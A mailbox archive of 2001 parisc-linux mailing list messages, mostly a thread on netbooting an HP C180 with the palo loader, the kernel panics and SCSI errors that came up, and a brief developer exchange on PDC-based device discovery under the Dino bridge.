Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:40:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92521482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:40:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZzOo-0008IN-00; Thu, 23 Aug 2001 19:40:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0108231418490.16296-100000@ns>; from nick@snowman.net on Thu, Aug 23, 2001 at 02:21:10PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11959

On Thu, Aug 23, 2001 at 02:21:10PM -0400, nick@snowman.net wrote:
> I'm not even getting that far.  I can't get the linux kernel to start
> booting, I always get errors along the lines of 
> Current command line:
> vmlinux HOME=/ TERM=vt100 root=/dev/nfs nfsroot=172.16.1.1:/mnt
> console=ttyS0
>  0: vmlinux
>  1: HOME=/
>  2: TERM=vt100
>  3: root=/dev/nfs
>  4: nfsroot=172.16.1.1:/mnt
>  5: console=ttyS0
> Edit which field?
> (or 'b' to boot with this command line)? b
> Kernel: partition 0 file vmlinux
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048

You're running into a known palo bug.  Sometimes when you're editing
entries it does this.  No-one's tracked down the cause yet (and it
is sporadic).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 14:42:49 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108231442370.16296-100000@ns>
References: <20010823193847.B27374@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620409 24147 80.91.229.3 (22 Nov 2014 01:40:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:43:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 468CD482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:43:26 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA28378;
	Thu, 23 Aug 2001 14:42:49 -0400
X-Sender: nick@ns
In-Reply-To: <20010823193847.B27374@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11960

Could you email or point me to the lifimage you use?
	Thanks
		Nick

On Thu, 23 Aug 2001, Matthew Wilcox wrote:

> On Thu, Aug 23, 2001 at 12:58:34PM -0400, nick@snowman.net wrote:
> > Hi, I'm trying to get a C180 booting entirely off the network.  I can load
> > a lifimage over bootp, however then I'm stuck.  There is a vmlinux
> > attached to the lifimage, but I can't figure out how to tell the loader to
> > boot that and use an NFSroot.  I have found a few suggestions (vmlinux
> > HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
> > to work.  Do I need a special lifimage?
> 
> Well, I do this all the time, so it does work :-)  All I need to do is
> change the NFSROOT in palo's Makefile to my server's IP address.  I'm
> still crosscompiling; my string looks like this:
> 0/vmlinux64 HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.50.190 ip=bootp
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 20:57:17 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20010823185725.B3FD9482A@dsl2.external.hp.com>
References: <Pine.LNX.4.21.0108231256390.16296-100000@ns> <20010823193847.B27374@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620410 24153 80.91.229.3 (22 Nov 2014 01:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>, nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:57:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id B3FD9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:57:25 -0600 (MDT)
Original-Received: (qmail 29243 invoked by uid 0); 23 Aug 2001 18:57:23 -0000
Original-Received: from pd9040264.dip.t-dialin.net (HELO there) (217.4.2.100)
  by mail.gmx.net (mp002-rz3) with SMTP; 23 Aug 2001 18:57:23 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <20010823193847.B27374@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11961

On Thursday 23 August 2001 20:38, Matthew Wilcox wrote:
> On Thu, Aug 23, 2001 at 12:58:34PM -0400, nick@snowman.net wrote:
> > Hi, I'm trying to get a C180 booting entirely off the network.  I can
> > load a lifimage over bootp, however then I'm stuck.  There is a vmlinux
> > attached to the lifimage, but I can't figure out how to tell the loader
> > to boot that and use an NFSroot.  I have found a few suggestions (vmlinux
> > HOME=/ TERM=linux root=/dev/nfs nfsroot=mynfs:/dir) and that dosen't seem
> > to work.  Do I need a special lifimage?
>
> Well, I do this all the time, so it does work :-)  All I need to do is
> change the NFSROOT in palo's Makefile to my server's IP address.  I'm
> still crosscompiling; my string looks like this:
> 0/vmlinux64 HOME=/ TERM=linux root=/dev/nfs nfsroot=15.1.50.190 ip=bootp

I think this is the point. If you hardcode it in the Makefile and boot this lifimage
directly without user-interaction (bo lan ipl) it works. If you try to change it at
the prompt it won't boot. (I've just tested that)

Helge




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 14:57:17 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108231456280.16296-100000@ns>
References: <20010823194014.C27374@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620410 24160 80.91.229.3 (22 Nov 2014 01:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 12:57:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id AED74482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 12:57:50 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA28815;
	Thu, 23 Aug 2001 14:57:17 -0400
X-Sender: nick@ns
In-Reply-To: <20010823194014.C27374@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11962

Well thanks to your suggestion I tried not even attempting to change the
params and just see what happened.  what I got was
The 64-bit Kernel has started...
Determining PDC firmware type: Ancient Box (bus_id = 0x0)
Kernel panic: This system will probably never run Linux.

In idle task - not syncing

Is that as bad as it sounds?  Can I update the PDC firmware, or would that
not help?
	Thanks
		Nick

On Thu, 23 Aug 2001, Matthew Wilcox wrote:

> On Thu, Aug 23, 2001 at 02:21:10PM -0400, nick@snowman.net wrote:
> > I'm not even getting that far.  I can't get the linux kernel to start
> > booting, I always get errors along the lines of 
> > Current command line:
> > vmlinux HOME=/ TERM=vt100 root=/dev/nfs nfsroot=172.16.1.1:/mnt
> > console=ttyS0
> >  0: vmlinux
> >  1: HOME=/
> >  2: TERM=vt100
> >  3: root=/dev/nfs
> >  4: nfsroot=172.16.1.1:/mnt
> >  5: console=ttyS0
> > Edit which field?
> > (or 'b' to boot with this command line)? b
> > Kernel: partition 0 file vmlinux
> > ERROR: Read from boot device failed (status = -3).
> > byteio_read: seekread() returned -1 expected 2048
> 
> You're running into a known palo bug.  Sometimes when you're editing
> entries it does this.  No-one's tracked down the cause yet (and it
> is sporadic).
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 20:02:34 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010823200234.D27374@parcelfarce.linux.theplanet.co.uk>
References: <20010823194014.C27374@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0108231456280.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620410 24166 80.91.229.3 (22 Nov 2014 01:40:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:10 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 13:02:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80127482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 13:02:39 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZzkQ-0000Op-00; Thu, 23 Aug 2001 20:02:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0108231456280.16296-100000@ns>; from nick@snowman.net on Thu, Aug 23, 2001 at 02:57:17PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11963

On Thu, Aug 23, 2001 at 02:57:17PM -0400, nick@snowman.net wrote:
> Well thanks to your suggestion I tried not even attempting to change the
> params and just see what happened.  what I got was
> The 64-bit Kernel has started...
> Determining PDC firmware type: Ancient Box (bus_id = 0x0)
> Kernel panic: This system will probably never run Linux.
> 
> In idle task - not syncing
> 
> Is that as bad as it sounds?  Can I update the PDC firmware, or would that
> not help?
> 	Thanks

You should run a 32-bit kernel on the C180 :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 15:33:36 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108231532130.16296-100000@ns>
References: <20010823200234.D27374@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620411 24333 80.91.229.3 (22 Nov 2014 01:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:11 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 13:34:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22551482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 13:34:10 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA31109;
	Thu, 23 Aug 2001 15:33:36 -0400
X-Sender: nick@ns
In-Reply-To: <20010823200234.D27374@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11964

Ok, only one more question hopefully.  I updated my PDC firmware from v2.7
to v6.1, that went fine.  I tried booting a 32bit lifimage, that worked
untill it got to the SCSI, at which point it spat out lots of errors for
id's 0, 1 and 2, then locked.  Is there something special I need to do to
keep C180's scsi happy?  I am useing the debian iso's lifimages right now.
	Nick

On Thu, 23 Aug 2001, Matthew Wilcox wrote:

> On Thu, Aug 23, 2001 at 02:57:17PM -0400, nick@snowman.net wrote:
> > Well thanks to your suggestion I tried not even attempting to change the
> > params and just see what happened.  what I got was
> > The 64-bit Kernel has started...
> > Determining PDC firmware type: Ancient Box (bus_id = 0x0)
> > Kernel panic: This system will probably never run Linux.
> > 
> > In idle task - not syncing
> > 
> > Is that as bad as it sounds?  Can I update the PDC firmware, or would that
> > not help?
> > 	Thanks
> 
> You should run a 32-bit kernel on the C180 :-)
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Fri, 24 Aug 2001 02:31:33 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk>
References: <20010823200234.D27374@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0108231532130.16296-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620411 24429 80.91.229.3 (22 Nov 2014 01:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Helge Deller <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: nick@snowman.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 19:31:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20433482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 19:31:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15a5or-0001fr-00; Fri, 24 Aug 2001 02:31:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0108231532130.16296-100000@ns>; from nick@snowman.net on Thu, Aug 23, 2001 at 03:33:36PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11965

On Thu, Aug 23, 2001 at 03:33:36PM -0400, nick@snowman.net wrote:
> Ok, only one more question hopefully.  I updated my PDC firmware from v2.7
> to v6.1, that went fine.  I tried booting a 32bit lifimage, that worked
> untill it got to the SCSI, at which point it spat out lots of errors for
> id's 0, 1 and 2, then locked.  Is there something special I need to do to
> keep C180's scsi happy?  I am useing the debian iso's lifimages right now.

I don't recognise this problem, can you post the SCSI messages?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Thu, 23 Aug 2001 22:19:16 -0400 (EDT)
Lines: 63
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108232219001.32506-100000@ns>
References: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620411 24433 80.91.229.3 (22 Nov 2014 01:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:11 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 23 20:19:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20480482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 23 Aug 2001 20:19:51 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA04677;
	Thu, 23 Aug 2001 22:19:16 -0400
X-Sender: nick@ns
In-Reply-To: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11966

SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 86, options 0
scsi0: Revision 0x2
Post test1, istat 01, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: Good, target data areas are dma coherent
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00088018 (script[0x0006]), dsps = 00088448, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 1
  Vendor:           Model:                   Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 00
scsi0: Unable to abort command for target 2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 00, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00089018 (script[0x0406]), dsps = 00089448, target = 0
scsi0: Failing command for ID1
scsi0: Unable to abort command for target 2


If you need more of the boot messages I can provide them.
	Nick

On Fri, 24 Aug 2001, Matthew Wilcox wrote:

> On Thu, Aug 23, 2001 at 03:33:36PM -0400, nick@snowman.net wrote:
> > Ok, only one more question hopefully.  I updated my PDC firmware from v2.7
> > to v6.1, that went fine.  I tried booting a 32bit lifimage, that worked
> > untill it got to the SCSI, at which point it spat out lots of errors for
> > id's 0, 1 and 2, then locked.  Is there something special I need to do to
> > keep C180's scsi happy?  I am useing the debian iso's lifimages right now.
> 
> I don't recognise this problem, can you post the SCSI messages?
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 netbooting
Date: Fri, 24 Aug 2001 17:26:56 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108241726160.16979-100000@ns>
References: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620412 24436 80.91.229.3 (22 Nov 2014 01:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:12 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 24 15:27:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA345482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Aug 2001 15:27:34 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA21396;
	Fri, 24 Aug 2001 17:26:56 -0400
X-Sender: nick@ns
In-Reply-To: <20010824023133.A32128@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11967

Do you need any more boot messages?  I sent you the ones that looked
usefull/important, however I can send you the entire boot log. 
	Nick
> 
> I don't recognise this problem, can you post the SCSI messages?
> 
> -- 
> Revolutions do not require corporate support.
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Fri, 24 Aug 2001 23:59:25 -0600
Lines: 63
Approved: news@gmane.org
Message-ID: <200108250559.XAA24615@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620412 24438 80.91.229.3 (22 Nov 2014 01:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 25 00:02:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B561482A
	for <parisc-linux@parisc-linux.org>; Sat, 25 Aug 2001 00:02:07 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA24615;
	Fri, 24 Aug 2001 23:59:25 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Wed, 22 Aug 2001 01:50:02 BST." <20010822015002.F21643@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11968

Matthew Wilcox wrote:
> I looked through the Raven ERS, it wasn't too helpful.  I managed to find
> the Dino driver in the HPUX source tree.... it doesn't seem to make the
> call itself, but instead:

[...]


I was confused. The Dino built-in discovery doesn't make PDC calls.

HPUX 11.01 (9905 release?) does make PDC calls in the boot initialization
sequence.  IIRC, This associates PCI device numbers with slot numbers
printed on the back of the machine. Useful for defective FRU ("Field
Replacable Unit") isolation/error reporting.  AFAIK, This only works
for platforms with bridge-mode Dino - ie B1XX/CXXX workstations.
(Calls are appended for interested folks).

...
> So it seems to me that we shouldn't do bus-walks underneath Dino, but
> rely on PDC telling us about the device if it's attached.

Uhm, "underneath" is ambiguous since both built-ins and PCI devices
are heirarchially below "dino" (iotree view - not HW view).
We need to do PCI bus walks for PCI devices.

I'll assume your statement only refers to Dino built-ins and agree.
FWIW, same is true for LASI devices.

grant


Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253

    /*
     * Get physical platform information
     */
    status = hversion_pdc_call(
                 3,(u_int)PDC_ARG2_IS_RADDR, 10, (ulong_t)PDC_PCI,
                 (ulong_t)PDC_PCI_GET_IFACE_INFO, (ulong_t)&(DINO(this)->ifinfo)
,
                 (ulong_t)this->base_addr,(ulong_t)0,(ulong_t)0,(ulong_t)0,
                 (ulong_t)0,(ulong_t)0,(ulong_t)0);
...
    /*
     * Total number of devices to get "slot info" for - all the slots plus
     *   all the built-ins
     */
    num_devs = DINO(this)->ifinfo.num_slots + DINO(this)->ifinfo.num_built_ins;
...
    for (slot_idx = 0; slot_idx < num_devs; slot_idx++) {
        ulong_t slot_path[32];
        status = hversion_pdc_call(
                     4, (u_int)PDC_ARG2_IS_RADDR, 32, (ulong_t)PDC_PCI,
                     (ulong_t)PDC_PCI_GET_SLOT_INFO, (ulong_t) slot_path,
                     (ulong_t)this->base_addr, (ulong_t)slot_idx,(ulong_t)0,
                     (ulong_t)0, (ulong_t)0, (ulong_t)0, (ulong_t)0);
...





From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: debian on b180L
Date: Sat, 25 Aug 2001 00:04:16 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200108250604.AAA24641@puffin.external.hp.com>
References: <andrew@isa.net.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620412 24441 80.91.229.3 (22 Nov 2014 01:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andrew Goldfinch" <andrew@isa.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 25 00:06:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B55D5482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Aug 2001 00:06:30 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
